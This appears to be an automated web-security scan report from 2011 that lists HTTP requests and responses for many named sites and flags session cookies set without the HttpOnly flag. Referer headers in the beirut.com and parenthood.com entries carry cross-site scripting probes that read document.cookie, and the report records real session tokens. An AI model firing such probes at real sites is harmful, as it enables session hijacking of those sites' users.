GET /thread/whdh_tv_commuter_rail_service_updates_for_jan_24_22/ HTTP/1.1 Host: 7newsboston.disqus.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: test=1; __utmz=130959497.1295906167.1.1.utmcsr=www1.whdh.com|utmccn=(referral)|utmcmd=referral|utmcct=/news/articles/local/12003359267921/commuter-rail-service-updates-for-jan-24/; __utma=130959497.687938179.1295906167.1295906167.1295906167.1; __utmc=130959497; __utmb=130959497.3.10.1295906167; __qca=P0-473502224-1295482487215;
Response
HTTP/1.1 302 FOUND Date: Mon, 24 Jan 2011 22:27:59 GMT Server: Apache/2.2.14 (Ubuntu) Vary: Cookie,Accept-Encoding p3p: CP="DSP IDC CUR ADM DELi STP NAV COM UNI INT PHY DEM" Set-Cookie: sessionid=fc05e21a91a616ef2d73501d05b7cdf8; Domain=.disqus.com; expires=Mon, 07-Feb-2011 22:27:59 GMT; Max-Age=1209600; Path=/ Location: http://7newsboston.disqus.com/ Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /a/memsubmit.asp HTTP/1.1 Host: acc.newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256;
The following cookie was issued by the application and does not have the HttpOnly flag set:
SESSff329d810a46b3a1bf645141daed34cf=93735d5185af6eada5ab3cadef0ec891; expires=Thu, 17 Feb 2011 02:03:09 GMT; path=/; domain=.advertising.aol.com
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /privacy/advertisingcom/opt-out HTTP/1.1 Host: advertising.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /service/getWidget.kickAction?as=94274&revision=14&widgetId=160832 HTTP/1.1 Host: affiliate.kickapps.com Proxy-Connection: keep-alive Referer: http://serve.a-widget.com/service/getWidgetSwf.kickAction Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: BIGipServerapp_server_pool=1739565248.47135.0000
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /cart.php?a=add&pid=41 HTTP/1.1 Host: billing.cloudaccess.net Connection: keep-alive Referer: http://www.cloudaccess.net/pricing.html Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.4.10.1295877160
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=jstce2dl1tbrnkoho5s4o0q4h2; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /GetImage.php?imgtype=mainpicture&contacttype=event&typeid=16&contactid=5910&size=240x173 HTTP/1.1 Host: cdn.beirut.com Proxy-Connection: keep-alive Referer: http://www.beirut.com/css/blue/4429e%2527%253balert%2528document.cookie%2529%252f%252f59f8c7185c5/search-btn.gif Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /AddForms/processFormSecure.jsp HTTP/1.1 Host: cloudaccess.infusionsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=00DE583E28DB9D9872BB85A1D8248900; Path=/; Secure Content-Type: text/html;charset=ISO-8859-1 Date: Mon, 24 Jan 2011 15:01:55 GMT Connection: close Content-Length: 939
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The following cookie was issued by the application and does not have the HttpOnly flag set:
YUKUSESSID=nfe3mp9eu1on73emvsu6v31et7; expires=Tue, 08 Feb 2011 02:23:05 GMT; path=/; domain=community.parenthood.com
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /feed/get/type/rss/source/domain/id/40337 HTTP/1.1 Host: community.parenthood.com Proxy-Connection: keep-alive Referer: http://community.parenthood.com/kickapps/service/getWidgetSwf.kickAction Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=CFC4B8F899936FBC1C797C6C4BB2DD5A; as=40337
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:23:05 GMT Server: Apache/2.2.3 (CentOS) Set-Cookie: YUKUSESSID=nfe3mp9eu1on73emvsu6v31et7; expires=Tue, 08 Feb 2011 02:23:05 GMT; path=/; domain=community.parenthood.com Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Last-Modified: Mon, 24 Jan 2011 13:28:38 GMT ETag: "a525764423c1a7805bf59a00d8bf4c7c" Content-Disposition: inline; filename=rss-feed.rss Vary: Accept-Encoding P3P: policyref="http://www.yuku.com/w3c/p3p.xml", CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa HISa OUR NOR IND PHY ONL UNI COM NAV INT DEM PRE LOC" Content-Type: application/xml;charset=utf-8 Content-Length: 19977
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /kickapps/service/getWidgetSwf.kickAction HTTP/1.1 Host: community.parenthood.com Proxy-Connection: keep-alive Referer: http://www.parenthood.com/?d1907'-alert(document.cookie)-'807a8eb3eff=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Moved Temporarily Date: Tue, 25 Jan 2011 02:22:41 GMT Server: Apache/2.2.3 (CentOS) Set-Cookie: JSESSIONID=CFC4B8F899936FBC1C797C6C4BB2DD5A; Path=/ Location: http://kickapps.yuku.com/kickFlash/KickShell.swf?referralUrl=http://www.parenthood.com/?d1907'-alert(document.cookie)-'807a8eb3eff=1&widgetHost=kickapps.yuku.com&buildVersion=1.0.589 Content-Length: 0 Cache-Control: max-age=7776000 Expires: Mon, 25 Apr 2011 02:22:41 GMT P3P: policyref="http://www.yuku.com/w3c/p3p.xml", CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa HISa OUR NOR IND PHY ONL UNI COM NAV INT DEM PRE LOC" Content-Type: text/plain; charset=UTF-8
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /service/searchEverythingAsRss.kickAction?vars=service/searchEverything.kickAction&keywords=phnew&includeVideo=on&includeBlog=on&as=40337&quantity=25 HTTP/1.1 Host: community.parenthood.com Proxy-Connection: keep-alive Referer: http://community.parenthood.com/kickapps/service/getWidgetSwf.kickAction Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=CFC4B8F899936FBC1C797C6C4BB2DD5A
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:28:41 GMT Server: Apache/2.2.3 (CentOS) Set-Cookie: JSESSIONID=06B8E490B1776258A19B5A486998A63C; Path=/ Set-Cookie: as=40337; Expires=Wed, 26-Jan-2011 04:28:40 GMT; Path=/ Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: max-stale=0 P3P: policyref="http://www.yuku.com/w3c/p3p.xml", CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa HISa OUR NOR IND PHY ONL UNI COM NAV INT DEM PRE LOC" Content-Type: text/xml;charset=UTF-8 Content-Length: 140035
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /trac/browser/trunk/js/piwik.js HTTP/1.1 Host: dev.piwik.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:31:18 GMT Server: Apache Cache-control: must-revalidate Content-Length: 243586 Set-Cookie: trac_form_token=9da015a43e17e45b1ae1c20c; Path=/trac Set-Cookie: trac_session=00dd58280c5f5faa118229b7; expires=Sun, 24-Apr-2011 22:31:20 GMT; Path=/trac Connection: close Content-Type: text/html;charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /logout/ HTTP/1.1 Host: disqus.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 FOUND Date: Mon, 24 Jan 2011 22:31:34 GMT Server: Apache Vary: Cookie,Accept-Encoding Set-Cookie: sessionid=14f475985dbe55d9847842e30e42796e; Domain=.disqus.com; Path=/ Location: http://disqus.com/ Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: fastdial.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=jcahvhmi593kcks9omcs8qbp63; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: help.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=fri7ds4g5e569ab52b67udmd34; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /2009/04/07/api-documentation/ HTTP/1.1 Host: help.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=dea45f6dnud0kld58ppcjlmap1; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /2009/04/09/rss-feeds/ HTTP/1.1 Host: help.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=6fjaaa6od3bhvj75ou4s3p06f2; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /2009/04/09/twitter-feeds/ HTTP/1.1 Host: help.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=p918mp9o4urak293n2lk14io61; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /contact/ HTTP/1.1 Host: help.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=51pq19d4c1b2qs6s0igekjgic3; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /faq HTTP/1.1 Host: help.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=evippa6a47912f617v4ke1qlu5; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /language/ HTTP/1.1 Host: help.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: investor.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Mon, 24 Jan 2011 22:38:10 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: NOMOBILE=0;path=/ Set-Cookie: ABTL_SESSION=1141928628%7C%20%7Bts%20%272011%2D01%2D24%2017%3A38%3A10%27%7D%7C%20%7Bts%20%272011%2D01%2D24%2017%3A38%3A10%27%7D%7C60ECCF3B67CEBC540B254D5622D5AEF8;domain=investor.autobytel.com;expires=Tue, 24-Jan-2012 22:38:10 GMT;path=/ Set-Cookie: ABTL_BRIEFCASE=UPDATED%7C40477%2E734838;domain=investor.autobytel.com;expires=Tue, 24-Jan-2012 22:38:10 GMT;path=/ Set-Cookie: ABTL_PREVIEW=;expires=Sun, 24-Jan-2010 22:38:10 GMT;path=/ Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=kfd834f75ot3daptl2mcnd6513; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: justintadlock.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:38:49 GMT Server: Apache Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 19 Nov 1981 08:52:00 GMT Pragma: no-cache X-Pingback: http://justintadlock.com/blog/xmlrpc.php Set-Cookie: PHPSESSID=kfd834f75ot3daptl2mcnd6513; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 24229
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=8amjiosi47eb6750jiujeqgbd3; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /archives/2008/04/13/cleaner-wordpress-gallery-plugin HTTP/1.1 Host: justintadlock.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /kickapps/service/getWidget.kickAction?widgetId=21535&as=40337 HTTP/1.1 Host: kickapps.yuku.com Proxy-Connection: keep-alive Referer: http://community.parenthood.com/kickapps/service/getWidgetSwf.kickAction Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:22:44 GMT Server: Apache/2.2.3 (CentOS) Set-Cookie: JSESSIONID=2D292A4D71B9969B4DAEDD671301D676; Path=/ Set-Cookie: as=40337; Expires=Wed, 26-Jan-2011 02:22:44 GMT; Path=/ Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: max-stale=0 Content-Length: 3223 P3P: policyref="http://www.yuku.com/w3c/p3p.xml", CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa HISa OUR NOR IND PHY ONL UNI COM NAV INT DEM PRE LOC" Content-Type: text/plain; charset=UTF-8
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: lesterchan.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: mad4milk.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:39:46 GMT Server: Apache/2.0.54 X-Powered-By: PHP/5.2.14 Set-Cookie: ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22bb984950eed1af353727ed1e76937777%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F4.0+%28compatible%3B+MSIE+7.0%3B+Windows+NT+6.0%29%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1295908788%3Bs%3A10%3A%22last_visit%22%3Bi%3A0%3B%7D; expires=Tue, 25-Jan-2011 00:39:48 GMT; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 2866
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The following cookie was issued by the application and does not have the HttpOnly flag set:
JSESSIONID=0000e0ie9rZuNgE43J-9RQD-aOC:-1; Path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /action/submitBookmark HTTP/1.1 Host: netvouz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 14:24:42 GMT Server: IBM_HTTP_Server P3P: CP="NOI DSP COR CURa ADMa DEVa TAIa OUR NOR UNI COM NAV" Cache-Control: no-cache Pragma: no-cache Expires: -1 Set-Cookie: JSESSIONID=0000e0ie9rZuNgE43J-9RQD-aOC:-1; Path=/ Vary: Accept-Encoding,User-Agent Connection: close Content-Type: text/html; charset=UTF-8 Content-Language: en-US Content-Length: 5096
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www. ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: news.cnet.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 14:25:29 GMT Via: HTTP/1.0 phx1-rb-frontend1-app6.cnet.com:8923 (cnwk.proxy.servlet.PathProxyServlet $Revision: 218012 $) Content-Language: en-US Expires: Tue, 25 Jan 2011 14:26:59 GMT Age: 30 Content-Type: text/html; charset=UTF-8 Set-Cookie: tempSessionId=Cg5gn00+3VmtwdbzK1U; domain=.cnet.com; path=/; expires=Fri, 22-Jan-2021 14:25:29 GMT Set-Cookie: arrowLat=1295965529634; domain=.cnet.com; path=/; expires=Wed, 25-Jan-2012 14:25:29 GMT Set-Cookie: arrowSpc=1; domain=.cnet.com; path=/; expires=Thu, 24-Feb-2011 14:25:29 GMT P3P: CP="CAO DSP COR CURa ADMa DEVa PSAa PSDa IVAi IVDi CONi OUR OTRi IND PHY ONL UNI FIN COM NAV INT DEM STA" Cache-Control: max-age=120 Keep-Alive: timeout=15, max=932 Connection: Keep-Alive Content-Length: 84113
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: newsguy.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /accountbandwidth.htm HTTP/1.1 Host: newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256; session-id=07e5e76216ca9266b6006a1955c20780;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:44:33 GMT Server: Apache/1.3.41 (Unix) mod_throttle/3.1.2 mod_perl/1.27 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7l-p1 Set-Cookie: session-id=0d5dff58ea2b7fa79c6665d759e36567; path=/ Content-Length: 9155 Cache-Control: private Connection: close Content-Type: text/html
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd" > <html>
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /accountemail.htm HTTP/1.1 Host: newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256; session-id=07e5e76216ca9266b6006a1955c20780;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:44:18 GMT Server: Apache/1.3.41 (Unix) mod_throttle/3.1.2 mod_perl/1.27 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7l-p1 Set-Cookie: session-id=0d68fde65b4ff929e7771e9183417ec0; path=/ Content-Length: 9269 Cache-Control: private Connection: close Content-Type: text/html
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd" > <html>
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /affiliate.htm HTTP/1.1 Host: newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256; session-id=07e5e76216ca9266b6006a1955c20780;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:45:17 GMT Server: Apache/1.3.41 (Unix) mod_throttle/3.1.2 mod_perl/1.27 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7l-p1 Set-Cookie: session-id=074008e54f0654946306e4e65907dd69; path=/ Content-Length: 27709 Cache-Control: private Connection: close Content-Type: text/html
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd" > <html>
<head> <title>Newsguy - Partner Program - Becoming a Newsguy Partner</title> < ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /allinone.htm HTTP/1.1 Host: newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256; session-id=07e5e76216ca9266b6006a1955c20780;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:43:42 GMT Server: Apache/1.3.41 (Unix) mod_throttle/3.1.2 mod_perl/1.27 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7l-p1 Set-Cookie: session-id=03a6912f793bb952951adb8e1658ada2; path=/ Content-Length: 17579 Cache-Control: private Connection: close Content-Type: text/html
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd" > <html>
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /birthday.htm HTTP/1.1 Host: newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256; session-id=07e5e76216ca9266b6006a1955c20780;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:44:36 GMT Server: Apache/1.3.41 (Unix) mod_throttle/3.1.2 mod_perl/1.27 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7l-p1 Set-Cookie: session-id=0ce021a7a64f02ac240a0a8d1e2acf76; path=/ Content-Length: 12307 Cache-Control: private Connection: close Content-Type: text/html
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd" > <html>
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /bonusbytes.htm HTTP/1.1 Host: newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256; session-id=07e5e76216ca9266b6006a1955c20780;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:44:36 GMT Server: Apache/1.3.41 (Unix) mod_throttle/3.1.2 mod_perl/1.27 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7l-p1 Set-Cookie: session-id=04c5bbd1a9491007cb5f91203243e58b; path=/ Content-Length: 15560 Cache-Control: private Connection: close Content-Type: text/html
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd" > <html>
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /cellphone.htm HTTP/1.1 Host: newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256; session-id=07e5e76216ca9266b6006a1955c20780;
Response
